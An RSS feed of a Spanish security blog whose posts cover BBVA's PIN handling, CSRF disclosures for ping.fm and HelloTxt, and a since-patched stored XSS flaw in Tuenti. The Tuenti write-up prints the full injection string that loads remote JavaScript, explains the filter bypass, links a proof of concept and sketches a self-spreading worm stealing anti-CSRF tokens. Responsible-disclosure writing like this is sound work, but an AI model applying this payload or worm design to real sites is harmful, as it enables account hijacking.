<?xml version="1.0" encoding="UTF-8"?> <rss
version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
><channel><title>Diazr &#187; Seguridad</title> <atom:link href="http://diazr.com/category/seguridad/feed/" rel="self" type="application/rss+xml" /><link>http://diazr.com</link> <description>Blogger de palo</description> <lastBuildDate>Wed, 23 Nov 2011 19:11:53 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.3.1</generator> <item><title>¿Es BBVA un banco seguro?</title><link>http://diazr.com/es-bbva-un-banco-seguro/</link> <comments>http://diazr.com/es-bbva-un-banco-seguro/#comments</comments> <pubDate>Mon, 21 Nov 2011 19:28:51 +0000</pubDate> <dc:creator>Rubén Díaz</dc:creator> <category><![CDATA[Seguridad]]></category><guid
isPermaLink="false">http://diazr.com/?p=998</guid> <description><![CDATA[Soy cliente desde hace años del BBVA, uno de los grandes bancos del capital. He pasado por varios, y es de los pocos donde me he sentido cómodo, y donde nunca he tenido problemas. Pero ahora, me estoy empezando a cuestionar que el banco como tal sea realmente seguro, y os voy a contar por [...]<p>-- <a
href="http://diazr.com/es-bbva-un-banco-seguro/">¿Es BBVA un banco seguro?</a> es una entrada escrita en <a
href="http://diazr.com">Diazr</a>.¡No te olvides de comentar si puedes aportar algo! :)</p> ]]></description> <content:encoded><![CDATA[<p><a
href="http://diazr.com/wp-content/uploads/2011/11/bbva.jpg"><img
class="alignright size-medium wp-image-999" title="bbva" src="http://diazr.com/wp-content/uploads/2011/11/bbva-300x145.jpg" alt="" width="240" height="116" /></a>Soy cliente desde hace años del BBVA, uno de los grandes bancos del capital. He pasado por varios, y es de los pocos donde me he sentido cómodo, y donde nunca he tenido problemas. Pero ahora, me estoy empezando a cuestionar que el banco como tal sea realmente seguro, y os voy a contar por qué.</p><p>Es de sobra conocido por todos que <a
href="http://arstechnica.com/gaming/news/2011/11/valve-confirms-steam-hack-credit-cards-personal-info-may-be-stolen.ars" target="_blank">Steam fue <em>asaltado</em></a> hace casi dos semanas, y si no, pues os lo resumo: todos los datos de un número indeterminado de usuarios de la base de datos de Steam fueron extraídos, y eso incluye tarjetas de crédito. Claro está que la información se hallaba cifrada, y bien cifrada, pero no quita que uno sea desconfiado por deformación profesional y tome medidas cautelares&#8230;</p><p>Como por ejemplo, bloquear la tarjeta. Llamé al BBVA, les comenté el caso, y al parecer no pusieron ninguna pega. Me la bloquearon, y me enviaron una nueva a casa. Lo cierto es que me cobraron una comisión que no procedía; de hecho, la reclamé y me la devolvieron, pero eso es otra historia. A los dos días me llega la tarjeta a casa (en vez de 5-7 días, que fue el plazo que me dieron). Aquí empieza el primer fallo: ¡¡es una carta ordinaria!! Efectivamente, no es una carta certificada, no es que el cartero te la de en mano&#8230; te la echa en el buzón (presumiendo que la intención del cartero siempre es benévola) y ahí te apañes. Evidentemente, se nota desde lejos que no se trata de una carta normal, porque se palpa el plástico, por lo que vete tú a saber si se &#8220;extravía&#8221;.</p><p>Alguien que esté un poco informado dirá: hombre, pero está desactivada por defecto. Y yo le doy la razón. En la tarjeta hay una pegatina en rojo que dice algo como &#8220;llame a este número para activar la tarjeta&#8221;. Entonces respiré tranquilo y pensé: bueno, si se hubiera &#8220;extraviado&#8221; estaría desactivada. El caso es que me dispongo a llamar, y tras varios saltos con el contestador automático e introducir el número de tarjeta&#8230; ya está. Eso es, no ha hecho falta en ningún momento ningún dato de índole&#8230; privado, qué sé yo, DNI, tarjeta anterior, PIN, algo. Vamos, que la podría haber activado cualquiera. Tras este mal trago, decidí que la próxima vez que pida una tarjeta nueva, la manden a la oficina&#8230; al menos, es más seguro que el buzón de una casa, y pasa por menos manos. Días después, llega otra carta con el PIN. Ya me avisaron que el PIN no cambiaría al tratarse de un &#8220;robo&#8221; (aunque el número de tarjeta es evidentemente diferente), por lo que esta última carta es un gasto innecesario. Sin embargo, aquí viene lo curioso&#8230;</p><p
style="text-align: center;"><a
href="http://diazr.com/wp-content/uploads/2011/11/banco.jpg"><img
class="size-medium wp-image-1001 alignnone" title="banco" src="http://diazr.com/wp-content/uploads/2011/11/banco-300x98.jpg" alt="" width="300" height="98" /></a></p><p>Pensemos un poco. Sí, tenían razón, el PIN no ha cambiado. Pero espera, ¿cómo es que sabían mi PIN anterior? Para los no entendidos en la materia de programación y bases de datos en general, las contraseñas nunca se deben guardar en texto plano en una base de datos, precisamente para evitar que, si hay un robo como el de Steam, los <em>ladrones</em> no puedan (o les cueste mucho trabajo) conseguir información valiosa de esos datos cifrados, que no dejan de ser un puñado de cadenas de texto sin sentido al ojo humano.</p><p>Avanzando un poco más en este sentido y para brindar luz a los no entendidos, omitiendo detalles, cuando el usuario introduce su contraseña en texto plano (en una web, por ejemplo), esa contraseña se cifra con un algoritmo predeterminado y la compara con la que está almacenada en la base de datos, que está cifrada de la misma manera:</p><p><em>a. Texto plano: tomate</em><br
/> <em> b. Cifrado (md5): 02e409c8bf00d35d7a7d61c56829da7f</em></p><p><em>&#8216;a&#8217; es lo que conoce el usuario y &#8216;b&#8217; es lo que se guarda en la base de datos. Es un cifrado irreversible (aunque hoy por hoy, un tanto débil, pero no es el tema), esto es, que teóricamente sólo se puede realizar el paso a-&gt;b, pero no b-&gt;a. En caso de que se robara &#8216;b&#8217;, el ladrón no podría hacer nada con esos datos, al menos en un periodo de tiempo legítimo (¿&lt; 10 años?).</em></p><p>Por tanto, llegamos a la conclusión de que en algún lugar de la base de datos del banco, al menos el número de mi tarjeta y mi PIN están relacionados y guardados en texto plano, o bien con un cifrado reversible (mediante clave privada, por ejemplo). ¿Cómo puede el banco saber mi PIN? ¿Qué ocurre si robaran esa clave privada? El PIN es un número personal de identificación que nadie más que el propio dueño debería conocer, y debería estar cifrado con un algoritmo irreversible y confiable. No tiene sentido que se pueda &#8220;recuperar&#8221;. Desde mi punto de vista, para mí, esto es un problema de seguridad, aunque como siempre, invito a brindar y discutir cualquier otra opinión aquí.</p><p>Con esto quiero decir que, para ser un banco tan conocido, creo que tiene fallos de seguridad importantes como para ser pasados por alto&#8230; ¿Es normal en los bancos españoles que estas cosas funcionen así? ¿Es cosa del banco? ¿Es cosa del proveedor de tarjetas? ¿Es simplemente así? ¿Hay algo más? A ver si podemos llegar a alguna conclusión.</p><p><strong>Actualización:</strong> El amigo <em>albertjh</em> (mil gracias) me envía <a
href="http://www.bbva.es/TLBS/tlbs/esp/metainf/seguridad.jsp" target="_blank">este enlace</a> (lo cuelgo en PDF <a
href="http://diazr.com/files/bbva_seguridad.pdf" target="_blank">aquí</a>, por si lo modifican) y cito textualmente el fragmento que nos interesa:</p><blockquote><p>El PIN de su tarjeta BBVA, su clave de acceso a BBVA.es, y su clave de operaciones en BBVA.es, son claves privadas, que deberá custodiar de forma segura, pues todo aquel que pudiera acceder a sus claves podría operar con sus productos y servicios en BBVA. Por este motivo le recomendamos que no comunique a nadie bajo ningún concepto dichas claves. Nadie en BBVA conoce cuales son sus claves, éstas se encuentran almacenadas en nuestros sistemas <strong>cifradas con un algoritmo irreversible</strong>, de forma que nadie en BBVA puede conocerlas.</p></blockquote><p><strong>Actualización 2:</strong> Una persona responsable del área de seguridad del BBVA se ha puesto en contacto por email conmigo, y me ha explicado la generación de PIN mediante un resumen trabajado. Partiendo de esta explicación, llegamos a las siguientes conclusiones:</p><ul><li>Hay dos tipos de PIN: a) el generado con datos públicos de la tarjeta, que conocemos y podemos cambiar y b) el generado por el HSM (más información <a
href="http://en.wikipedia.org/wiki/Hardware_security_module">en WP</a> para los que desconozcan el dispositivo), aleatorio, y que nunca sale del HSM (importante).</li><li>Y cito: <em>Ambos están relacionados por un &#8220;offset&#8221; que no es más que una suma digito a digito complemento a 9. Cuando se cambia el PIN &#8220;de usuario&#8221; realmente lo que se hace es cambiar el offset o diferencia entre el &#8220;natural&#8221; y el escogido.</em> De este &#8220;offset&#8221; (que sí se almacena) en ningún caso podríamos derivar el PIN.</li><li>Para la comprobación del PIN &#8211; que obviamente va cifrado en la transmisión &#8211; se utiliza el propio PIN que conocemos, como el generado por HSM, y se hace la comparación internamente, gracias al &#8220;offset&#8221;.</li><li>Entonces, ¿cómo es posible que me envíen mi anterior PIN en plano?: <em>Con los datos públicos de tu tarjeta antigua y el offset de tu PIN de usuario &#8220;antiguo&#8221; y DENTRO DEL HSM, se calcula tu PIN de usuario &#8220;antiguo&#8221; por un lado y por otro se calcula el nuevo PIN &#8220;natural&#8221; con los datos públicos de tu tarjeta nueva y con ambos se calcula cual tiene que ser tu nuevo offset para que tu PIN de usuario sea el mismo que tenías antes.</em>Antes de enviarlo a imprimir, se cifra antes en el HSM, y después se envía en plano, aunque no queda ninguna traza ya que el sitio donde se imprime el papel es independiente del lugar donde se realiza la estampación de tarjetas. ¿La razón? Hacerle la vida más cómoda al cliente.</li></ul><div>Y si no has entendido mucho&#8230; según esta explicación, todo se resume a: ninguno de los PIN está almacenado en ningún sitio, excepto el &#8220;offset&#8221; que los relaciona, y del cual, en ningún caso, se puede derivar el PIN &#8220;real&#8221;, el que utilizaríamos como usuario. Cuando se cambia el PIN &#8220;conocido&#8221;, es decir, el que utilizamos, lo que realmente se cambia es el &#8220;offset&#8221; o diferencia entre el PIN generado por el HSM (aleatorio) y el escogido.</div><p>Por la parte de privacidad/seguridad física, no ha habido ningún comentario. Me hubiera encantado escuchar algo sobre esto, aunque otro representante de BBVA ha estado en contacto conmigo y me ha dicho que se lo ha pasado a un responsable para ver qué ocurre.</p><p>He de decir que me ha encantado escribir esta entrada, puesto que ha habido opiniones de distinto tipo, hemos aprendido y hemos escuchado voces de todas las partes. La explicación técnica la he intentado simplificar al máximo posible, pero entre la hora a la que escribo esta última actualización (5 de la mañana de un martes) y que hay cosas que, sencillamente, no se pueden explicar de otra manera, quizá no llegue a todo el público esperado.  En cualquier caso, muchas gracias a todos, incluyendo a los representantes del BBVA que se han movido en cuanto he escrito la entrada, a pesar de ser una invitación a debate para clarificar el asunto, más que una acusación directa.</p><p>-- <a
href="http://diazr.com/es-bbva-un-banco-seguro/">¿Es BBVA un banco seguro?</a> es una entrada escrita en <a
href="http://diazr.com">Diazr</a>.¡No te olvides de comentar si puedes aportar algo! :)</p> ]]></content:encoded> <wfw:commentRss>http://diazr.com/es-bbva-un-banco-seguro/feed/</wfw:commentRss> <slash:comments>69</slash:comments> </item> <item><title>Detalles de la vulnerabilidad de Tuenti</title><link>http://diazr.com/detalles-de-la-vulnerabilidad-de-tuenti/</link> <comments>http://diazr.com/detalles-de-la-vulnerabilidad-de-tuenti/#comments</comments> <pubDate>Mon, 04 May 2009 15:53:21 +0000</pubDate> <dc:creator>Rubén Díaz</dc:creator> <category><![CDATA[Artículos]]></category> <category><![CDATA[Seguridad]]></category> <category><![CDATA[tuenti]]></category><guid
isPermaLink="false">http://diazr.com/?p=440</guid> <description><![CDATA[Esto es una explicación sobre la anterior entrada. El equipo de Tuenti ha puesto fin a la vulnerabilidad de la que hablé pasados cinco días de su advertencia. Ahora, os voy a contar la historia de cómo surgió todo y de como un trabajo de investigación conjunto y en tiempo libre puede dar muchos frutos. [...]<p>-- <a
href="http://diazr.com/detalles-de-la-vulnerabilidad-de-tuenti/">Detalles de la vulnerabilidad de Tuenti</a> es una entrada escrita en <a
href="http://diazr.com">Diazr</a>.¡No te olvides de comentar si puedes aportar algo! :)</p> ]]></description> <content:encoded><![CDATA[<p
style="text-align: left;"><em>Esto es una explicación sobre <a
href="http://diazr.com/vulnerabilidad-critica-en-tuenti/" target="_blank">la anterior entrada</a>.</em></p><p
style="text-align: left;">El equipo de Tuenti ha puesto fin a la vulnerabilidad <a
href="http://diazr.com/vulnerabilidad-critica-en-tuenti/" target="_blank">de la que hablé</a> pasados <strong>cinco días de su advertencia</strong>. Ahora, os voy a contar la historia de cómo surgió todo y de como un trabajo de investigación conjunto y en tiempo libre puede dar muchos frutos. Algunas aclaraciones sonarán evidentes (e incluso estúpidas) para cualquier iniciado en el campo, pero mi intención es que lo entienda el mayor número de personas posible (ya que el perfil del visitante de este blog no es necesariamente <em>techie</em>).</p><p
style="text-align: left;">El pasado día 30 de abril descubrimos una vulnerabilidad en la que, juntando una URL (terminada en /) con código HTML, falla la validación del mismo (<a
href="http://es.wikipedia.org/wiki/Cross-site_scripting" target="_blank">XSS</a>). Un ejemplo con un simple <em>&lt;h1&gt;</em> en un comentario de tablón:</p><p
style="text-align: center;"><a
href="http://diazr.com/wp-content/uploads/2009/04/tuenti-h1.png"><img
class="aligncenter size-medium wp-image-441" title="Tuenti y &lt;h1&gt;" src="http://diazr.com/wp-content/uploads/2009/04/tuenti-h1-300x58.png" alt="Tuenti y &lt;h1&gt;" width="300" height="58" /></a></p><p
style="text-align: left;">Sin hacer la citada combinación, todo era convertido a <a
href="http://www.w3schools.com/HTML/html_entities.asp" target="_blank">HTML Entities</a> (gracias a <a
href="http://es2.php.net/htmlentities" target="_blank">htmlentities()</a>). Esto se traduce en resumidas cuentas al impedimento de que si alguien escribe código HTML, el navegador lo interprete como tal. El proceso de un comentario, entrada en el tablón, mensaje&#8230; es muy sencillo:</p><ol><li>El usuario escribe y envía.</li><li>El servidor recibe y guarda, haciendo ciertos cambios <strong>[1]</strong>.</li><li>Cuando alguien lo necesita, se le envía lo guardado, parseado <strong>[2]</strong> por el script local previamente.</li></ol><p
style="text-align: center;"> </p><p>¿Qué es lo que falla en el proceso? El parseado. En un principio,  estuvimos investigando pero no sacamos nada&#8230; hasta la madrugada. Al día siguiente ya teníamos <em>la formula mágica</em> para incluir un script externo. Ejecutamos multitud de pruebas en diferentes cuentas, para evitar posibles sospechas.</p><p>Algo parecido ocurrió con <a
href="http://news.cnet.com/8301-1009_3-10217684-83.html" target="_blank">el chaval de 17 años y Twitter</a>, aunque él lo tuvo más fácil: el XSS se aplicaba <em>casi directamente</em> en el campo de URL del perfil, con poco enredo (aunque <em>lo de después</em> fue <a
href="http://gist.github.com/93782" target="_blank">un poquito más enrevesado</a>).</p><p>Había que jugar con dos parsers: el de las URLs y el de las imágenes. Era necesario combinarlos de tal manera que se pudiera conseguir la <em>fórmula mágica</em> e incluir el JS remoto. No fue fácil, puesto que de ninguna manera se podían colocar las comillas (&#8221; &#8220;), ni referenciar a archivos remotos de forma sencilla. La fórmula fue, finalmente:</p><blockquote><p
style="text-align: left;"><strong>http://diazr.com/&lt;/script&gt;&lt;script src=http    ://diazr.com/xss.js defer=owned.jpg http://diazr.com/&lt;/script&gt;</strong></p></blockquote><blockquote><ol><li>La URL podía ser cualquiera, con el único requisito de que terminara en <strong>/</strong>.</li><li>Era necesario colocar un <strong>&lt;/script&gt;</strong> previamente antes de iniciar otro.</li><li>Como se puede observar, el uso de comillas en el parámetro <em>src</em> y <em>defer</em> se descarta (aunque no es obligatorio en absoluto, su uso hubiera derivado en fallo).</li><li>Ha sido necesario colocar una tabulación intercalada entre el protocolo y el resto de la URL; de lo contrario, el parseador lo hubiera tomado como una URL y nos hubiera fastidiado de nuevo nuestra meta. De esta manera, lo evitamos y nos lo saltamos a la torera.</li><li>El parámetro <em>defer</em> no hace realmente nada, únicamente era necesario para engañar al parseador de imágenes y permitirnos cerrar la etiqueta <em>script</em>.</li></ol></blockquote><p>Esto, escrito en el tablón de un usuario (como un comentario, por ejemplo) nos permitía cargar el javascript externo que quisiéramos. El riesgo empezaba a ser evidente. En el más leve de los casos, un <em>alert()</em>. O peor: un archivo especialmente construido para hacerse con todos los datos de nuestro &#8220;amigo&#8221;, como el <em>csrfChallenge</em> (código único para cada usuario de la red necesario para realizar cualquier acción) fácilmente relacionable con el usuario propietario (<em>global_uid</em>) y otros valores seteados en el propio código JavaScript de Tuenti.</p><p>Hemos escrito el <a
href="http://es.wikipedia.org/wiki/Prueba_de_concepto" target="_blank">PoC</a> de turno, que simplemente cambia el estado del usuario que carga el script por el que nosotros queramos. Habíamos pensado en algo más complejo pero dejaría de ser un PoC. Igualmente, teniendo en cuenta que tenemos acceso al array con la lista de amigos (con sus correspondientes <em>UIDs</em>), se podría crear un <em>gusano</em> que infectara a toda la lista de contactos fácilmente, realizando otras tareas más peligrosas (borrado de cuentas, cambio de datos en perfil&#8230; además de infectar a los contactos de los contactos, y así sucesivamente). Pero eso ya es imaginación de quien quiera hacerlo. Se puede descargar desde <a
href="http://diazr.com/wp-content/uploads/2009/05/xss_status_tuenti.js">aquí</a>.</p><p><strong>[1]</strong> Se sabe que no se guarda el texto íntegro ya que, ahora que se ha puesto una solución, las inyecciones realizadas anteriormente siguen siendo efectivas.<br
/> <strong>[2]</strong> El parseado es un proceso mediante el cuál un script &#8220;traduce&#8221; una combinación concreta de caracteres a algo ya preestablecido. Por ejemplo, cuando colocamos la URL de un vídeo hacia <a
href="http://es.wikipedia.org/wiki/YouTube" target="_blank">YouTube</a>, aparece directamente el vídeo en cuestión y no el link.</p><p>-- <a
href="http://diazr.com/detalles-de-la-vulnerabilidad-de-tuenti/">Detalles de la vulnerabilidad de Tuenti</a> es una entrada escrita en <a
href="http://diazr.com">Diazr</a>.¡No te olvides de comentar si puedes aportar algo! :)</p> ]]></content:encoded> <wfw:commentRss>http://diazr.com/detalles-de-la-vulnerabilidad-de-tuenti/feed/</wfw:commentRss> <slash:comments>27</slash:comments> </item> <item><title>Vulnerabilidad crítica en Tuenti</title><link>http://diazr.com/vulnerabilidad-critica-en-tuenti/</link> <comments>http://diazr.com/vulnerabilidad-critica-en-tuenti/#comments</comments> <pubDate>Thu, 30 Apr 2009 21:22:53 +0000</pubDate> <dc:creator>Rubén Díaz</dc:creator> <category><![CDATA[Artículos]]></category> <category><![CDATA[Seguridad]]></category> <category><![CDATA[tuenti]]></category> <category><![CDATA[vulnerabilidad]]></category><guid
isPermaLink="false">http://diazr.com/?p=462</guid> <description><![CDATA[Nota: Pido disculpas por estas horas de caída del blog, todo ha sucedido por la reciente migración a otro proveedor del que ya hablé (y del que, por cierto, retiro toda crítica positiva). Así que me he vuelto a DreamHost (KJKSZPJ, el cupón de descuento anual, sigue activo) que, a pesar de ser más lento, [...]<p>-- <a
href="http://diazr.com/vulnerabilidad-critica-en-tuenti/">Vulnerabilidad crítica en Tuenti</a> es una entrada escrita en <a
href="http://diazr.com">Diazr</a>.¡No te olvides de comentar si puedes aportar algo! :)</p> ]]></description> <content:encoded><![CDATA[<p><a
href="http://diazr.com/wp-content/uploads/2009/04/logo-tuenti.png"><img
class="alignright size-full wp-image-450" title="Logo de Tuenti" src="http://diazr.com/wp-content/uploads/2009/04/logo-tuenti.png" alt="Logo de Tuenti" width="149" height="57" /></a></p><p><strong>Nota</strong>: Pido disculpas por estas horas de caída del blog, todo ha sucedido por la reciente migración a otro proveedor <a
href="http://diazr.com/para-los-que-buscan-hosting/" target="_blank">del que ya hablé</a> (y del que, por cierto, retiro toda crítica positiva). Así que me he vuelto a <a
href="http://www.dreamhost.com" target="_blank">DreamHost</a> (<strong>KJKSZPJ</strong>, el cupón de descuento anual, sigue activo) que, a pesar de ser más lento, lo aguanta todo :-)</p><p>No son pocos los escépticos con la seguridad y privacidad en las redes sociales. Yo, personalmente, estoy tanto en <a
href="http://es.wikipedia.org/wiki/Facebook" target="_blank">Facebook</a> como en Tuenti (teniendo más actividad en este último). Para los que no la conozcan, o sólo les suene, la <a
href="http://es.wikipedia.org/wiki/Tuenti" target="_blank">Wikipedia</a> nos cuenta algo:</p><blockquote><p><strong>Tuenti</strong> es una <a
title="Red social" href="http://es.wikipedia.org/wiki/Red_social">red social</a> virtual dirigida a la población joven española. Permite al usuario crear su propio perfil, subir fotos y vídeos y contactar con amigos. Tiene otras muchas posibilidades como crear eventos y etiquetar amigos en fotos. Se caracteriza también por su potente buscador.</p><p>Inaugurado en <a
title="Enero de 2006" href="http://es.wikipedia.org/wiki/Enero_de_2006">enero de 2006</a>, Tuenti es uno de los <a
title="Sitio web" href="http://es.wikipedia.org/wiki/Sitio_web">sitios web</a> más visitados en <a
title="España" href="http://es.wikipedia.org/wiki/Espa%C3%B1a">España</a>, según <a
title="Alexa Internet" href="http://es.wikipedia.org/wiki/Alexa_Internet">Alexa Internet</a>.</p></blockquote><p>Por ejemplo, recientemente, se publicó <a
href="http://rooibo.wordpress.com/2009/04/28/agujero-de-seguridad-en-facebook/" target="_blank">una vulnerabilidad XSS de Facebook</a> que permitía robar las cookies de cualquier usuario en unas determinadas circunstancias, haciendo insegura instantáneamente a la red social en cuestión. Otra, no tan reciente y más leve, permitía en Tuenti <a
href="http://rooibo.wordpress.com/2009/02/18/agujero-de-seguridad-en-tuenti/" target="_blank">ver la lista de amigos de otro usuario</a>, aunque éste no lo hubiera permitido previamente.</p><p>Toda aplicación web es suceptible a agujeros de seguridad. Es imposible que no existan. Aunque lo que no es imposible es trabajar lo máximo posible para reducir esos pequeños errores. Porque los agujeros de seguridad son sólo <em>simples fallos de programación</em>, y le pueden ocurrir desde al más primerizo al profesional que lleva toda una vida dedicada a la programación.</p><p>Esta vez vamos a centrarnos en Tuenti ya que es la red social que, con diferencia, más utilizo. <a
href="http://omega-web.es/" target="_blank">Sergio</a> y yo hace algún tiempo que miramos sitios donde encontrar vulnerabilidades para poder notificarlas y después publicarlas. Dependiendo de la gravedad, se publican en el mismo día, sin que se hayan arreglado (<a
href="http://diazr.com/hellotxt-csrf-vulnerability/" target="_blank">1</a>, <a
href="http://diazr.com/pingfm-csrf-vulnerability/" target="_blank">2</a>) o se espera un tiempo prudente para publicarlas. Y esta, en Tuenti, es una de las últimas que hemos descubierto.</p><p>Contacté ayer con Ícaro Moyano (director de comunicación de Tuenti) aprovechando que tengo contacto directo con él, para explicar la vulnerabilidad a los desarrolladores y de paso mostrar un PoC interesante. Le expliqué que se trataba de una vulnerabilidad <strong>extremedamente crítica</strong>. Por el momento, sigo a la espera.</p><p>Cierta combinación escrita en un tablón de cualquier usuario, podría conseguir que se inutilizara, y que ni él ni nadie pudiera leer ni responder comentarios. El riesgo empezaba a ser interesante aunque no comprometedor, pues lo máximo que podría ocurrir es que el usuario contactara con soporte, ellos lo detectaran y le pusieran arreglo.</p><p>Pero no, no es lo peor en realidad. Eso sólo significaría la punta del iceberg. Teniendo en cuenta que el XSS es aplicable en cualquier lugar (tu propio tablón, el de otra persona, comentarios en imágenes&#8230;), esto funcionaría como un verdadero gusano. Un gusano que se transmitiría de un usuario a otro a una velocidad vertiginosa, sin que se diera cuenta, haciendo que en pocas horas miles y miles de usuarios estuvieran bajo las manos de todo esto. Y montando un sistema automatizado detrás, hacerse con todas las cuentas rápidamente, dejando la privacidad de todos los usuarios al descubierto, al igual que sin sus preciados datos. Pero por ahora, no voy a dar más detalles, como es lógico.</p><p>Esto es tan sólo una muestra de fragilidad que una red social puede tener, que la privacidad nunca es &#8220;privada&#8221; y que en cualquier momento todo puede ser desmontado (en este caso, en una sola &#8211; pero larga &#8211; tarde se dio con ello). El tiempo de reacción en estos temas indica el nivel de importancia que se le da a los usuarios desde el equipo dirigente de la red social en sí.</p><p>-- <a
href="http://diazr.com/vulnerabilidad-critica-en-tuenti/">Vulnerabilidad crítica en Tuenti</a> es una entrada escrita en <a
href="http://diazr.com">Diazr</a>.¡No te olvides de comentar si puedes aportar algo! :)</p> ]]></content:encoded> <wfw:commentRss>http://diazr.com/vulnerabilidad-critica-en-tuenti/feed/</wfw:commentRss> <slash:comments>42</slash:comments> </item> <item><title>[ping.fm] CSRF Vulnerability</title><link>http://diazr.com/pingfm-csrf-vulnerability/</link> <comments>http://diazr.com/pingfm-csrf-vulnerability/#comments</comments> <pubDate>Sat, 04 Apr 2009 20:02:10 +0000</pubDate> <dc:creator>Rubén Díaz</dc:creator> <category><![CDATA[Seguridad]]></category><guid
isPermaLink="false">http://diazr.com/?p=409</guid> <description><![CDATA[A CSRF vulnerability was discovered in ping.fm. An attacker can change some user information without having its login credentials. In the right circumstances, this can be exploited to change the email of the user without needing confirmation from the real user. Administrators has been notified. However, ping.fm is still vulnerable. Therefore it is recommended to [...]<p>-- <a
href="http://diazr.com/pingfm-csrf-vulnerability/">[ping.fm] CSRF Vulnerability</a> es una entrada escrita en <a
href="http://diazr.com">Diazr</a>.¡No te olvides de comentar si puedes aportar algo! :)</p> ]]></description> <content:encoded><![CDATA[<p><a
href="http://diazr.com/wp-content/uploads/2009/04/pingfm_logo.gif"><img
class="alignright size-full wp-image-410" title="Ping.fm logo" src="http://diazr.com/wp-content/uploads/2009/04/pingfm_logo.gif" alt="Ping.fm logo" width="172" height="88" /></a>A CSRF vulnerability was discovered in <a
href="http://ping.fm" target="_blank">ping.fm</a>. An attacker can change some user information without having its login credentials. In the right circumstances, this can be exploited to change the email of the user without needing confirmation from the real user.</p><p>Administrators has been notified<span
style="text-decoration: line-through;">. However, ping.fm is still vulnerable. Therefore it is recommended to all users to not open any suspicious URL while logged at the site.</span> and a patch has been applied at 4/7/2009.</p><p>This vulnerability has been discovered by <a
href="mailto:scr.omega%7Bat%7Dgmail%7B...%7Dcom">Sergio Cruz Ramírez</a> (aka Omega) &amp; <a
href="mailto:outime%7Bat%7Dgmail%7B...%7Dcom">Rubén Díaz Alonso</a> (aka outime).</p><hr
/>Una vulnerabilidad CSRF ha sido descubierta en <a
href="http://ping.fm" target="_blank">ping.fm</a>. Un atacante puede cambiar información del usuario sin tener sus credenciales. En las circunstancias adecuadas, puede ser utilizado para cambiar el email del usuario sin necesitar confirmación por parte del usuario real.</p><p>Los administradores han sido notificados<span
style="text-decoration: line-through;">. Sin embargo, ping.fm sigue siendo vulnerable. Mientras tanto se recomienda a todos los usuarios no abrir ninguna URL sospechosa mientras se está identificado en el sitio.</span> y se ha aplicado un parche el 7/4/2009.</p><p>Esta vulnerabilidad ha sido descubierta por <a
href="mailto:scr.omega%7Bat%7Dgmail%7B...%7Dcom">Sergio Cruz Ramírez</a> (aka Omega) &amp; <a
href="mailto:outime%7Bat%7Dgmail%7B...%7Dcom">Rubén Díaz Alonso</a> (aka outime).</p><p>-- <a
href="http://diazr.com/pingfm-csrf-vulnerability/">[ping.fm] CSRF Vulnerability</a> es una entrada escrita en <a
href="http://diazr.com">Diazr</a>.¡No te olvides de comentar si puedes aportar algo! :)</p> ]]></content:encoded> <wfw:commentRss>http://diazr.com/pingfm-csrf-vulnerability/feed/</wfw:commentRss> <slash:comments>8</slash:comments> </item> <item><title>[HelloTxt] CSRF vulnerability</title><link>http://diazr.com/hellotxt-csrf-vulnerability/</link> <comments>http://diazr.com/hellotxt-csrf-vulnerability/#comments</comments> <pubDate>Sat, 04 Apr 2009 19:52:22 +0000</pubDate> <dc:creator>Rubén Díaz</dc:creator> <category><![CDATA[Seguridad]]></category><guid
isPermaLink="false">http://diazr.com/?p=404</guid> <description><![CDATA[A CSRF vulnerability was discovered in HelloTxt. An attacker can change some user information without having its login credentials. In the right circumstances, this can be exploited to change the password of any user. Administrators has been notified. However, HelloTxt is still vulnerable. Therefore it is recommended to all users to not open any suspicious [...]<p>-- <a
href="http://diazr.com/hellotxt-csrf-vulnerability/">[HelloTxt] CSRF vulnerability</a> es una entrada escrita en <a
href="http://diazr.com">Diazr</a>.¡No te olvides de comentar si puedes aportar algo! :)</p> ]]></description> <content:encoded><![CDATA[<p><a
href="http://diazr.com/wp-content/uploads/2009/04/hellotxt_logo.png"><img
class="alignright size-full wp-image-407" title="hellotxt_logo" src="http://diazr.com/wp-content/uploads/2009/04/hellotxt_logo.png" alt="hellotxt_logo" width="219" height="64" /></a>A CSRF vulnerability was discovered in <a
href="http://hellotxt.com/" target="_blank">HelloTxt</a>. An attacker can change some user information without having its login credentials. In the right circumstances, this can be exploited to change the password of any user.</p><p>Administrators has been notified<span
style="text-decoration: line-through;">. However, HelloTxt is still vulnerable. Therefore it is recommended to all users to not open any suspicious URL while logged at the site.</span> and a patch has been applied at 4/7/2009.</p><p>This vulnerability has been discovered by <a
href="mailto:scr.omega{at}gmail{...}com">Sergio Cruz Ramírez</a> (aka Omega) &amp; <a
href="mailto:outime{at}gmail{...}com">Rubén Díaz Alonso</a> (aka outime).</p><hr
/>Una vulnerabilidad CSRF ha sido descubierta en <a
href="http://hellotxt.com/" target="_blank">HelloTxt</a>. Un atacante puede cambiar información del usuario sin tener sus credenciales. En las circunstancias adecuadas, puede ser utilizado para cambiar la contraseña de cualquier usuario.</p><p>Los administradores han sido notificados<span
style="text-decoration: line-through;">. S</span><span
style="text-decoration: line-through;">in embargo, HelloTxt sigue siendo vulnerable. Mientras tanto se recomienda a todos los usuarios no abrir ninguna URL sospechosa mientras se está identificado en el sitio.</span> y se ha aplicado un parche el 7/4/2009.</p><p>Esta vulnerabilidad ha sido descubierta por <a
href="mailto:scr.omega{at}gmail{...}com">Sergio Cruz Ramírez</a> (aka Omega) &amp; <a
href="mailto:outime{at}gmail{...}com">Rubén Díaz Alonso</a> (aka outime).</p><p>-- <a
href="http://diazr.com/hellotxt-csrf-vulnerability/">[HelloTxt] CSRF vulnerability</a> es una entrada escrita en <a
href="http://diazr.com">Diazr</a>.¡No te olvides de comentar si puedes aportar algo! :)</p> ]]></content:encoded> <wfw:commentRss>http://diazr.com/hellotxt-csrf-vulnerability/feed/</wfw:commentRss> <slash:comments>5</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced
Object Caching 738/782 objects using disk: basic

Served from: diazr.com @ 2012-02-09 08:56:55 -->
